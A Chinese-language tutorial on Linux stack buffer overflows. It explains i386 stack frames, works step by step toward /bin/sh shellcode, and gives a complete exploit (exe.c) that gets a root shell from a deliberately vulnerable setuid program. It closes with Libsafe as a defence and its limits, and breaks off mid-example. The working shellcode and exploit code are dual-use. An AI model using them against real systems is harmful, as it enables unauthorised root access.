Linux下緩衝區溢位攻擊的原理及對策
前言
從邏輯上講程序的堆疊是由多個堆疊幀構成的,其中每個堆疊幀都對應一個函式呼叫。當函式呼叫發生時,新的堆疊幀被壓入堆疊;當函式返回時,相應的堆疊幀從堆疊中彈出。儘管堆疊幀結構的引入為在高階語言中實現函式或過程這樣的概念提供了直接的硬體支援,但是由於將函式返回地址這樣的重要資料儲存在程式設計師可見的堆疊中,因此也給系統安全帶來了極大的隱患。
歷史上最著名的緩衝區溢位攻擊可能要算是1988年11月2日的Morris Worm所攜帶的攻擊程式碼了。這個因特網蠕蟲利用了fingerd程式的緩衝區溢位漏洞,給使用者帶來了很大危害。此後,越來越多的緩衝區溢位漏洞被發現。從bind、wu-ftpd、telnetd、apache等常用服務程式,到Microsoft、Oracle等軟體廠商提供的應用程式,都存在著似乎永遠也彌補不完的緩衝區溢位漏洞。
根據綠盟科技提供的漏洞報告,2002年共發現各種作業系統和應用程式的漏洞1830個,其中緩衝區溢位漏洞有432個,佔總數的23.6%. 而綠盟科技評出的2002年嚴重程度、影響範圍最大的十個安全漏洞中,和緩衝區溢位相關的就有6個。
在讀者閱讀本文之前有一點需要說明,文中所有示例程式的編譯執行環境為gcc 2.7.2.3以及bash 1.14.7,如果讀者不清楚自己所使用的編譯執行環境可以通過以下命令檢視:
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs
gcc version 2.7.2.3
$ rpm -qf /bin/sh
bash-1.14.7-16
如果讀者使用的是較高版本的gcc或bash的話,執行文中示例程式的結果可能會與這裡給出的結果不盡相符,具體原因將在相應章節中做出解釋。
--------------------------------------------------------------------------------
Linux下緩衝區溢位攻擊例項
為了引起讀者的興趣,我們不妨先來看一個Linux下的緩衝區溢位攻擊例項。
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv)
{
char large_string[128];
long *long_ptr = (long *) large_string;
int i;
char shellcode[] =
"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07"
"\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d"
"\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
setenv("KIRIKA", large_string, 1);
execle(argv[1], argv[1], NULL, environ);
return 0;
}
圖1 攻擊程式exe.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char buffer[96];
printf("- %p -\\n", &buffer);
strcpy(buffer, getenv("KIRIKA"));
return 0;
}
圖2 攻擊物件toto.c
將上面兩個程式分別編譯為可執行程式,並且將toto改為屬主為root的setuid程式:
$ gcc exe.c -o exe
$ gcc toto.c -o toto
$ su
Password:
# chown root.root toto
# chmod +s toto
# ls -l exe toto
-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*
-rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto*
# exit
OK,看看接下來會發生什麼。首先別忘了用whoami命令驗證一下我們現在的身份。其實Linux繼承了UNIX的一個習慣,即普通使用者的命令提示符是以$開始的,而超級使用者的命令提示符是以#開始的。
$ whoami
wy
$ ./exe ./toto 0xbfffffff
- 0xbffffc38 -
Segmentation fault
$ ./exe ./toto 0xbffffc38
- 0xbffffc38 -
bash# whoami
root
bash#
第一次一般不會成功,但是我們可以準確得知系統的漏洞所在――0xbffffc38,第二次必然一擊斃命。當我們在新建立的shell下再次執行whoami命令時,我們的身份已經是root了!由於在所有UNIX系統下黑客攻擊的最高目標就是對root許可權的追求,因此可以說系統已經被攻破了。
這裡我們模擬了一次Linux下緩衝區溢位攻擊的典型案例。toto的屬主為root,並且具有setuid屬性,通常這種程式是緩衝區溢位的典型攻擊目標。普通使用者wy通過其含有惡意攻擊程式碼的程式exe向具有缺陷的toto發動了一次緩衝區溢位攻擊,並由此獲得了系統的root許可權。有一點需要說明的是,如果讀者使用的是較高版本的bash的話,即使通過緩衝區溢位攻擊exe得到了一個新的shell,在看到whoami命令的結果後您可能會發現您的許可權並沒有改變,具體原因我們將在本文最後一節做出詳細的解釋。不過為了一睹為快,您可以先使用本文程式碼包中所帶的exe_pro.c作為攻擊程式,而不是圖1中的exe.c。
--------------------------------------------------------------------------------
Linux下程序地址空間的佈局及堆疊幀的結構
要想了解Linux下緩衝區溢位攻擊的原理,我們必須首先掌握Linux下程序地址空間的佈局以及堆疊幀的結構。
任何一個程式通常都包括程式碼段和資料段,這些程式碼和資料本身都是靜態的。程式要想執行,首先要由作業系統負責為其建立程序,並在程序的虛擬地址空間中為其程式碼段和資料段建立對映。光有程式碼段和資料段是不夠的,程序在執行過程中還要有其動態環境,其中最重要的就是堆疊。圖3所示為Linux下程序的地址空間佈局:
圖3 Linux下程序地址空間的佈局
首先,execve(2)會負責為程序程式碼段和資料段建立對映,真正將程式碼段和資料段的內容讀入記憶體是由系統的缺頁異常處理程式按需完成的。另外,execve(2)還會將bss段清零,這就是為什麼未賦初值的全域性變數以及static變數其初值為零的原因。程序使用者空間的最高位置是用來存放程式執行時的命令列引數及環境變數的,在這段地址空間的下方和bss段的上方還留有一個很大的空洞,而作為程序動態執行環境的堆疊和堆就棲身其中,其中堆疊向下伸展,堆向上伸展。
知道了堆疊在程序地址空間中的位置,我們再來看一看堆疊中都存放了什麼。相信讀者對C語言中的函式這樣的概念都已經很熟悉了,實際上堆疊中存放的就是與每個函式對應的堆疊幀。當函式呼叫發生時,新的堆疊幀被壓入堆疊;當函式返回時,相應的堆疊幀從堆疊中彈出。典型的堆疊幀結構如圖4所示。
堆疊幀的頂部為函式的實參,下面是函式的返回地址以及前一個堆疊幀的指標,最下面是分配給函式的區域性變數使用的空間。一個堆疊幀通常都有兩個指標,其中一個稱為堆疊幀指標,另一個稱為棧頂指標。前者所指向的位置是固定的,而後者所指向的位置在函式的執行過程中可變。因此,在函式中訪問實參和區域性變數時都是以堆疊幀指標為基址,再加上一個偏移。對照圖4可知,實參的偏移為正,區域性變數的偏移為負。
圖4 典型的堆疊幀結構
介紹了堆疊幀的結構,我們再來看一下在Intel i386體系結構上堆疊幀是如何實現的。圖5和圖6分別是一個簡單的C程式及其編譯後生成的彙編程式。
圖5 一個簡單的C程式example1.c
int function(int a, int b, int c)
{
char buffer[14];
int sum;
sum = a + b + c;
return sum;
}
void main()
{
int i;
i = function(1,2,3);
}
圖6 example1.c編譯後生成的彙編程式example1.s
1 .file "example1.c"
2 .version "01.01"
3 gcc2_compiled.:
4 .text
5 .align 4
6 .globl function
7 .type function,@function
8 function:
9 pushl %ebp
10 movl %esp,%ebp
11 subl $20,%esp
12 movl 8(%ebp),%eax
13 addl 12(%ebp),%eax
14 movl 16(%ebp),%edx
15 addl %eax,%edx
16 movl %edx,-20(%ebp)
17 movl -20(%ebp),%eax
18 jmp .L1
19 .align 4
20 .L1:
21 leave
22 ret
23 .Lfe1:
24 .size function,.Lfe1-function
25 .align 4
26 .globl main
27 .type main,@function
28 main:
29 pushl %ebp
30 movl %esp,%ebp
31 subl $4,%esp
32 pushl $3
33 pushl $2
34 pushl $1
35 call function
36 addl $12,%esp
37 movl %eax,%eax
38 movl %eax,-4(%ebp)
39 .L2:
40 leave
41 ret
42 .Lfe2:
43 .size main,.Lfe2-main
44 .ident "GCC: (GNU) 2.7.2.3"
這裡我們著重關心一下與函式function對應的堆疊幀形成和銷燬的過程。從圖5中可以看到,function是在main中被呼叫的,三個實參的值分別為1、2、3。由於C語言中函式傳參遵循反向壓棧順序,所以在圖6中32至34行三個實參從右向左依次被壓入堆疊。接下來35行的call指令除了將控制轉移到function之外,還要將call的下一條指令addl的地址,也就是function函式的返回地址壓入堆疊。下面就進入function函數了,首先在第9行將main函式的堆疊幀指標ebp儲存在堆疊中並在第10行將當前的棧頂指標esp儲存在堆疊幀指標ebp中,最後在第11行為function函式的區域性變數buffer[14]和sum在堆疊中分配空間。至此,函式function的堆疊幀就構建完成了,其結構如圖7所示。
圖7 函式function的堆疊幀
讀者不妨回過頭去與圖4對比一下。這裡有幾點需要說明。首先,在Intel i386體系結構下,堆疊幀指標的角色是由ebp扮演的,而棧頂指標的角色是由esp扮演的。另外,函式function的區域性變數buffer[14]由14個字元組成,其大小按說應為14位元組,但是在堆疊幀中卻為其分配了16個位元組。這是時間效率和空間效率之間的一種折衷,因為Intel i386是32位的處理器,其每次記憶體訪問都必須是4位元組對齊的,而高30位地址相同的4個位元組就構成了一個機器字。因此,如果為了填補buffer[14]留下的兩個位元組而將sum分配在兩個不同的機器字中,那麼每次訪問sum就需要兩次記憶體操作,這顯然是無法接受的。還有一點需要說明的是,正如我們在本文前言中所指出的,如果讀者使用的是較高版本的gcc的話,您所看到的函式function對應的堆疊幀可能和圖7所示有所不同。上面已經講過,為函式function的區域性變數buffer[14]和sum在堆疊中分配空間是通過在圖6中第11行對esp進行減法操作完成的,而sub指令中的20正是這裡兩個區域性變數所需的儲存空間大小。但是在較高版本的gcc中,sub指令中出現的數字可能不是20,而是一個更大的數字。應該說這與優化編譯技術有關,在較高版本的gcc中為了有效運用目前流行的各種優化編譯技術,通常需要在每個函式的堆疊幀中留出一定額外的空間。
下面我們再來看一下在函式function中是如何將a、b、c的和賦給sum的。前面已經提過,在函式中訪問實參和區域性變數時都是以堆疊幀指標為基址,再加上一個偏移,而Intel i386體系結構下的堆疊幀指標就是ebp,為了清楚起見,我們在圖7中標出了堆疊幀中所有成分相對於堆疊幀指標ebp的偏移。這下圖6中12至16的計算就一目瞭然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分別是實參a、b、c和區域性變數sum的地址,幾個簡單的add指令和mov指令執行後sum中便是a、b、c三者之和了。另外,在gcc編譯生成的彙編程式中函式的返回結果是通過eax傳遞的,因此在圖6中第17行將sum的值拷貝到eax中。
最後,我們再來看一下函式function執行完之後與其對應的堆疊幀是如何彈出堆疊的。圖6中第21行的leave指令將堆疊幀指標ebp拷貝到esp中,於是在堆疊幀中為區域性變數buffer[14]和sum分配的空間就被釋放了;除此之外,leave指令還有一個功能,就是從堆疊中彈出一個機器字並將其存放到ebp中,這樣ebp就被恢復為main函式的堆疊幀指標了。第22行的ret指令再次從堆疊中彈出一個機器字並將其存放到指令指標eip中,這樣控制就返回到了第36行main函式中的addl指令處。addl指令將棧頂指標esp加上12,於是當初呼叫函式function之前壓入堆疊的三個實參所佔用的堆疊空間也被釋放掉了。至此,函式function的堆疊幀就被完全銷燬了。前面剛剛提到過,在gcc編譯生成的彙編程式中通過eax傳遞函式的返回結果,因此圖6中第38行將函式function的返回結果儲存在了main函式的區域性變數i中。
--------------------------------------------------------------------------------
Linux下緩衝區溢位攻擊的原理
明白了Linux下程序地址空間的佈局以及堆疊幀的結構,我們再來看一個有趣的例子。
圖8 一個奇妙的程式example2.c
1 int function(int a, int b, int c) {
2 char buffer[14];
3 int sum;
4 int *ret;
5
6 ret = buffer + 20;
7 (*ret) += 10;
8 sum = a + b + c;
9 return sum;
10 }
11
12 void main() {
13 int x;
14
15 x = 0;
16 function(1,2,3);
17 x = 1;
18 printf("%d\\n",x);
19 }
在main函式中,區域性變數x的初值首先被賦為0,然後呼叫與x毫無關係的function函式,最後將x的值改為1並打印出來。結果是多少呢,如果我告訴你是0你相信嗎?閒話少說,還是趕快來看看函式function都動了哪些手腳吧。這裡的function函式與圖5中的function相比只是多了一個指標變數ret以及兩條對ret進行操作的語句,就是它們使得main函式最後列印的結果變成了0。對照圖7可知,地址buffer + 20處儲存的正是函式function的返回地址,第7行的語句將函式function的返回地址加了10。這樣會達到什麼效果呢?看一下main函式對應的彙編程式就一目瞭然了。
圖9 example2.c中main函式對應的彙編程式
$ gdb example2
(gdb) disassemble main
Dump of assembler code for function main:
0x804832c <main>: push %ebp
0x804832d <main+1>: mov %esp,%ebp
0x804832f <main+3>: sub $0x4,%esp
0x8048332 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x8048339 <main+13>: push $0x3
0x804833b <main+15>: push $0x2
0x804833d <main+17>: push $0x1
0x804833f <main+19>: call 0x80482f8 <function>
0x8048344 <main+24>: add $0xc,%esp
0x8048347 <main+27>: movl $0x1,0xfffffffc(%ebp)
0x804834e <main+34>: mov 0xfffffffc(%ebp),%eax
0x8048351 <main+37>: push %eax
0x8048352 <main+38>: push $0x80483b8
0x8048357 <main+43>: call 0x8048284 <printf>
0x804835c <main+48>: add $0x8,%esp
0x804835f <main+51>: leave
0x8048360 <main+52>: ret
0x8048361 <main+53>: lea 0x0(%esi),%esi
End of assembler dump.
地址為0x804833f的call指令會將0x8048344壓入堆疊作為函式function的返回地址,而圖8中第7行語句的作用就是將0x8048344加10從而變成了0x804834e。這麼一改當函式function返回時地址為0x8048347的mov指令就被跳過了,而這條mov指令的作用正是用來將x的值改為1。既然x的值沒有改變,我們列印看到的結果就必然是其初值0了。
當然,圖8所示只是一個示例性的程式,通過修改儲存在堆疊幀中的函式的返回地址,我們改變了程式正常的控制流。圖8中程式的執行結果可能會使很多讀者感到新奇,但是如果函式的返回地址被修改為指向一段精心安排好的惡意程式碼,那時你又會做何感想呢?緩衝區溢位攻擊正是利用了在某些體系結構下函式的返回地址被儲存在程式設計師可見的堆疊中這一缺陷,修改函式的返回地址,使得一段精心安排好的惡意程式碼在函式返回時得以執行,從而達到危害系統安全的目的。
說到緩衝區溢位就不能不提shellcode,shellcode讀者已經在圖1中見過了,其作用就是生成一個shell。下面我們就來一步步看一下這段令人眼花繚亂的程式是如何得來的。首先要說明一下,Linux下的系統呼叫都是通過int $0x80中斷實現的。在呼叫int $0x80之前,eax中儲存了系統呼叫號,而系統呼叫的引數則儲存在其它暫存器中。圖10所示是直接利用系統呼叫實現的Hello World程式。
圖10 直接利用系統呼叫實現的Hello World程式hello.c
#include <asm/unistd.h>
int errno;
_syscall3(int, write, int, fd, char *, data, int, len);
_syscall1(int, exit, int, status);
_start()
{
write(0, "Hello world!\\n", 13);
exit(0);
}
將其編譯連結生成可執行程式hello:
$ gcc -c hello.c
$ ld hello.o -o hello
$ ./hello
Hello world!
$ ls -l hello
-rwxr-xr-x 1 wy os 1188 Sep 29 17:31 hello*
有興趣的讀者可以將這個hello的大小和我們當初在第一節C語言課上學過的Hello World程式的大小比較一下,看看能不能用C語言寫出更小的Hello World程式。圖10中的_syscall3和_syscall1都是定義於/usr/include/asm/unistd.h中的巨集,該檔案中定義了以__NR_開頭的各種系統呼叫的所對應的系統呼叫號以及_syscall0到_syscall6六個巨集,分別用於引數個數為0到6的系統呼叫。由此可知,Linux系統中系統呼叫所允許的最大引數個數就是6個,比如mmap(2)。另外,仔細閱讀syscall0到_syscall6六個巨集的定義不難發現,系統呼叫號是存放在暫存器eax中的,而系統呼叫可能會用到的6個引數依次存放在暫存器ebx、ecx、edx、esi、edi和ebp中。
清楚了系統呼叫的使用規則,我先來看一下如何在Linux下生成一個shell。應該說這是非常簡單的任務,使用execve(2)系統呼叫即可,如圖11所示。
圖11 shellcode.c在Linux下生成一個shell
#include <unistd.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
_exit(0);
}
在shellcode.c中一共用到了兩個系統呼叫,分別是execve(2)和_exit(2)。檢視/usr/include/asm/unistd.h檔案可以得知,與其相應的系統呼叫號__NR_execve和__NR_exit分別為11和1。按照前面剛剛講過的系統呼叫規則,在Linux下生成一個shell並結束退出需要以下步驟:
在記憶體中存放一個以'\\0'結束的字串"/bin/sh";
將字串"/bin/sh"的地址儲存在記憶體中的某個機器字中,並且後面緊接一個值為0的機器字,這裡相當於設定好了圖11中name[2]中的兩個指標;
將execve(2)的系統呼叫號11裝入eax暫存器;
將字串"/bin/sh"的地址裝入ebx暫存器;
將第2步中設好的字串"/bin/sh"的地址的地址裝入ecx暫存器;
將第2步中設好的值為0的機器字的地址裝入edx暫存器;
執行int $0x80,這裡相當於呼叫execve(2);
將_exit(2)的系統呼叫號1裝入eax暫存器;
將退出碼0裝入ebx暫存器;
執行int $0x80,這裡相當於呼叫_exit(2)。
於是我們就得到了圖12所示的彙編程式。
圖12 使用execve(2)和_exit(2)系統呼叫生成shell的彙編程式shellcodeasm.c
1 void main()
2 {
3 __asm__("
4 jmp 1f
5 2: popl %esi
6 movl %esi,0x8(%esi)
7 movb $0x0,0x7(%esi)
8 movl $0x0,0xc(%esi)
9 movl $0xb,%eax
10 movl %esi,%ebx
11 leal 0x8(%esi),%ecx
12 leal 0xc(%esi),%edx
13 int $0x80
14 movl $0x1, %eax
15 movl $0x0, %ebx
16 int $0x80
17 1: call 2b
18 .string \\"/bin/sh\\"
19 ");
20 }
這裡第4行的jmp指令和第17行的call指令使用的都是IP相對定址方式,第14行至第16行對應於_exit(2)系統呼叫,由於它比較簡單,我們著重看一下呼叫execve(2)的過程。首先第4行的jmp指令執行之後控制就轉移到了第17行的call指令處,在call指令的執行過程中除了將控制轉移到第5行的pop指令外,還會將其下一條指令的地址壓入堆疊。然而由圖12可知,call指令後面並沒有後續的指令,而是存放了字串"/bin/sh",於是實際被壓入堆疊的便成了字串"/bin/sh"的地址。第5行的pop指令將剛剛壓入堆疊的字串地址彈出到esi暫存器中。接下來的三條指令首先將esi中的字串地址儲存在字串"/bin/sh"之後的機器字中,然後又在字串"/bin/sh"的結尾補了個'\\0',最後將0寫入記憶體中合適的位置。第9行至第12行按圖13所示正確設定好了暫存器eax、ebx、ecx和edx的值,在第13行就可以呼叫execve(2)了。但是在編譯shellcodeasm.c之後,你會發現程式無法執行。原因就在於圖13中所示的所有資料都存放在程式碼段中,而在Linux下存放程式碼的頁面是不可寫的,於是當我們試圖使用圖12中第6行的mov指令進行寫操作時,頁面異常處理程式會向執行我們程式的程序傳送一個SIGSEGV訊號,這樣我們的終端上便會出現Segmentation fault的提示資訊。
圖13呼叫execve(2)之前各暫存器的設定
解決的辦法很簡單,既然不能對程式碼段進行寫操作,我們就把圖12中的程式碼挪到可寫的資料段或堆疊段中。可是一段可執行的程式碼在資料段中應該怎麼表示呢?其實,記憶體中存放著的無非是0和1這樣的位元,當我們的程式將其用作程式碼時這些位元就成了程式碼,而當我們的程式將其用作資料時這些位元又成了資料。我們先來看一下圖12中的程式碼在記憶體中是如何存放的,通過gdb中的x命令可以很容易的做到這一點,如圖14所示。
圖14 通過gdb中的x命令檢視圖12中的程式碼在記憶體中對應的資料
$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x80482c4 <main>: push %ebp
0x80482c5 <main+1>: mov %esp,%ebp
0x80482c7 <main+3>: jmp 0x80482f3 <main+47>
0x80482c9 <main+5>: pop %esi
0x80482ca <main+6>: mov %esi,0x8(%esi)
0x80482cd <main+9>: movb $0x0,0x7(%esi)
0x80482d1 <main+13>: movl $0x0,0xc(%esi)
0x80482d8 <main+20>: mov $0xb,%eax
0x80482dd <main+25>: mov %esi,%ebx
0x80482df <main+27>: lea 0x8(%esi),%ecx
0x80482e2 <main+30>: lea 0xc(%esi),%edx
0x80482e5 <main+33>: int $0x80
0x80482e7 <main+35>: mov $0x1,%eax
0x80482ec <main+40>: mov $0x0,%ebx
0x80482f1 <main+45>: int $0x80
0x80482f3 <main+47>: call 0x80482c9 <main+5>
0x80482f8 <main+52>: das
0x80482f9 <main+53>: bound %ebp,0x6e(%ecx)
0x80482fc <main+56>: das
0x80482fd <main+57>: jae 0x8048367
0x80482ff <main+59>: add %cl,%cl
0x8048301 <main+61>: ret
0x8048302 <main+62>: mov %esi,%esi
End of assembler dump.
(gdb) x /49xb 0x80482c7
0x80482c7 <main+3>: 0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x46
0x80482cf <main+11>: 0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x00
0x80482d7 <main+19>: 0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf3
0x80482df <main+27>: 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80
0x80482e7 <main+35>: 0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x00
0x80482ef <main+43>: 0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff
0x80482f7 <main+51>: 0xff
從jmp指令的起始地址0x80482c7到call指令的結束地址0x80482f8,一共49個位元組。起始地址為0x80482f8的8個位元組的記憶體單元中實際存放的是字串"/bin/sh",因此我們在那裡看到了幾條奇怪的指令。至此,我們的shellcode已經初具雛形了,但是還有幾處需要改進。首先,將來我們要通過strcpy(3)這種存在安全隱患的函式將上面的程式碼拷貝到某個記憶體緩衝區中,而strcpy(3)在遇到內容為'\\0'的位元組時就會停止拷貝。然而從圖14中可以看到,我們的程式碼中有很多這樣的'\\0'位元組,因此需要將它們全部去掉。另外,某些指令的長度可以縮減,以使得我們的shellcode更加精簡。按照圖15所列的改進方案,我們便得到了圖16中最終的shellcode。
圖15 shellcode的改進方案
存在問題的指令 改進後的指令
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movl $0xb,%eax movb $0xb,%al
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
圖16 最終的shellcode彙編程式shellcodeasm2.c
void main()
{
__asm__("
jmp 1f
2: popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
1: call 2b
.string \\"/bin/sh\\"
");
}
同樣,按照上面的方法再次檢視記憶體中的shellcode程式碼,如圖16所示。我們在圖16中再次列出了圖1 用到過的shellcode,有興趣的讀者不妨比較一下。
圖17 shellcode的來歷
$ gdb shellcodeasm2
(gdb) disassemble main
Dump of assembler code for function main:
0x80482c4 <main>: push %ebp
0x80482c5 <main+1>: mov %esp,%ebp
0x80482c7 <main+3>: jmp 0x80482e8 <main+36>
0x80482c9 <main+5>: pop %esi
0x80482ca <main+6>: mov %esi,0x8(%esi)
0x80482cd <main+9>: xor %eax,%eax
0x80482cf <main+11>: mov %al,0x7(%esi)
0x80482d2 <main+14>: mov %eax,0xc(%esi)
0x80482d5 <main+17>: mov $0xb,%al
0x80482d7 <main+19>: mov %esi,%ebx
0x80482d9 <main+21>: lea 0x8(%esi),%ecx
0x80482dc <main+24>: lea 0xc(%esi),%edx
0x80482df <main+27>: int $0x80
0x80482e1 <main+29>: xor %ebx,%ebx
0x80482e3 <main+31>: mov %ebx,%eax
0x80482e5 <main+33>: inc %eax
0x80482e6 <main+34>: int $0x80
0x80482e8 <main+36>: call 0x80482c9 <main+5>
0x80482ed <main+41>: das
0x80482ee <main+42>: bound %ebp,0x6e(%ecx)
0x80482f1 <main+45>: das
0x80482f2 <main+46>: jae 0x804835c
0x80482f4 <main+48>: add %cl,%cl
0x80482f6 <main+50>: ret
0x80482f7 <main+51>: nop
End of assembler dump.
(gdb) x /38xb 0x80482c7
0x80482c7 <main+3>: 0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0
0x80482cf <main+11>: 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b
0x80482d7 <main+19>: 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c
0x80482df <main+27>: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x80482e7 <main+35>: 0x80 0xe8 0xdc 0xff 0xff 0xff
char shellcode[] =
"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
我猜當你看到這裡時一定也像我當初一樣已經熱血沸騰、迫不及待了吧?那就趕快來試一下吧。
圖18 通過程式testsc.c驗證我們的shellcode
char shellcode[] =
"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
將testsc.c編譯成可執行程式,再執行testsc就可以看到shell了!
$ gcc testsc.c -o testsc
$ ./testsc
bash$
圖19描繪了testsc.c程式所作的一切,相信有了前面那麼長的鋪墊,讀者在看到圖19時應該已經沒有困難了。
圖19 程式testsc.c的控制流程
下面我們該回頭看看本文開頭的那個Linux下緩衝區溢位攻擊例項了。攻擊程式exe.c利用了系統中存在漏洞的程式toto.c,通過以下步驟向系統發動了一次緩衝區溢位攻擊:
通過命令列引數argv[2]得到toto.c程式中緩衝區buffer[96]的地址,並將該地址填充到large_string[128]中;
將我們已經準備好的shellcode拷貝到large_string[128]的開頭;
通過環境變數KIRIKA將我們的shellcode注射到buffer[96]中;
當toto.c程式中的main函式返回時,buffer[96]中的shellcode得以執行;由於toto的屬主為root,並且具有setuid屬性,因此我們得到的shell便具有了root許可權。
程式exe.c的控制流程與圖19所示程式testsc.c的控制流程非常相似,唯一的不同在於這次我們的shellcode是寄宿在toto執行時的堆疊裡,而不是在資料段中。之所以不能再將shellcode放在資料段中是因為當我們在程式exe.c中呼叫execle(3) 執行toto時,程序整個地址空間的對映會根據toto程式頭部的描述資訊重新設定,而原來的地址空間中資料段的內容已經不能再訪問了,因此在程式exe.c中shellcode是通過環境變數來傳遞的。
怎麼樣,是不是感覺傳說中的黑客不再像你想象的那樣神祕了?暫時不要妄下結論,在上面的緩衝區溢位攻擊例項中,攻擊程式exe之所以能夠準確的將shellcode注射到toto的buffer[96]中,關鍵在於我們在toto程式中打印出了buffer[96]在堆疊中的起始地址。當然,在實際的系統中,不要指望有像toto這樣家有醜事還自揭瘡疤的事情發生。
--------------------------------------------------------------------------------
回頁首
Linux下防禦緩衝區溢位攻擊的對策
瞭解了緩衝區溢位攻擊的原理,接下來要做的顯然就是要找出克敵之道。這裡,我們主要介紹一種非常簡單但是又比較流行的方法――Libsafe。
在標準C庫中存在著很多像strcpy(3)這種用於處理字串的函式,它們將一個字串拷貝到另一個字串中。對於何時停止拷貝,這些函式通常只有一個判斷標準,即是否遇上了'\\0'字元。然而這個唯一的標準顯然是不夠的。我們在上一節剛剛分析過的Linux下緩衝區溢位攻擊例項正是利用strcpy(3)對系統實施了攻擊,而strcpy(3)的缺陷就在於在拷貝字串時沒有將目的字串的大小這一因素考慮進來。像這樣的函式還有很多,比如strcat、gets、scanf、sprintf等等。統計資料表明,在已經發現的緩衝區溢位攻擊案例中,肇事者多是這些函式。正是基於上述事實,Avaya實驗室推出了Libsafe。
在現在的Linux系統中,程式連結時所使用的大多都是動態連結庫。動態連結庫本身就具有很多優點,比如在庫升級之後,系統中原有的程式既不需要重新編譯也不需要重新連結就可以使用升級後的動態連結庫繼續執行。除此之外,Linux還為動態連結庫的使用提供了很多靈活的手段,而預載(preload)機制就是其中之一。在Linux下,預載機制是通過環境變數LD_PRELOAD的設定提供的。簡單來說,如果系統中有多個不同的動態連結庫都實現了同一個函式,那麼在連結時優先使用環境變數LD_PRELOAD中設定的動態連結庫。這樣一來,我們就可以利用Linux提供的預載機制將上面提到的那些存在安全隱患的函式替換掉,而Libsafe正是基於這一思想實現的。
圖20所示的testlibsafe.c是一段非常簡單的程式,字串buf2[16]中首先被寫滿了'A',然後再通過strcpy(3)將其拷貝到buf1[8]中。由於buf2[16]比buf1[8]要大,顯然會發生緩衝區溢位,而且很容易想到,由於'A'的二進位制表示為0x41,所以main函式的返回地址被改為了0x41414141。這樣當main返回時就會發生Segmentation fault。
圖20 測試Libsafe
#include <string.h>
void main()
{
char buf1[8];
char buf2[16];
int i;
for (i = 0; i < 16; ++i)
buf2[i] = 'A';
strcpy(buf1, buf2);
}
$ gcc testlibsafe.c -o testlibsafe
$ ./testlibsafe
Segmentation fault (core dumped)
下面我們就來看一看Libsafe是如何保護我們免遭緩衝區溢位攻擊的。首先,在系統中安裝Libsafe,本文的附件中提供了其2.0版的安裝包。
$ su
Password:
# rpm -ivh libsafe-2.0-2.i386.rpm
libsafe ##################################################
# exit
至此安裝還沒有結束,接下來還要正確設定環境變數LD_PRELOAD。
$ export LD_PRELOAD=/lib/libsafe.so.2
下面就可以來試試看了。
$ ./testlibsafe
Detected an attempt to write across stack boundary.
Terminating /home2/wy/projects/overflow/bof/testlibsafe.
uid=1011 euid=1011 pid=9481
Call stack:
0x40017721
0x4001780a
0x8048328
0x400429c6
Overflow caused by strcpy()
可以看到,Libsafe正確檢測到了由strcpy()函式導致的緩衝區溢位,其uid、euid和pid,以及程序執行時的Call stack也被一併列出。另外,這些資訊不光是在終端上顯示,還會被記錄到系統日誌中,這樣系統管理員就可以掌握潛在的攻擊來源並及時加以防範。
那麼,有了Libsafe我們就可以高枕無憂了嗎?千萬不要有這種天真的想法,在電腦保安領域入侵與反入侵的較量永遠都不會停止。其實Libsafe為我們提供的保護可以被輕易的破壞掉。由於Libsafe的實現依賴於Linux系統為動態連結庫所提供的預載機制,因此對於使用靜態連結庫的具有緩衝區溢位漏洞的程式Libsafe也就無能為力了。
$ gcc -static testlibsafe.c -o testlibsafe_static
$ env | grep LD
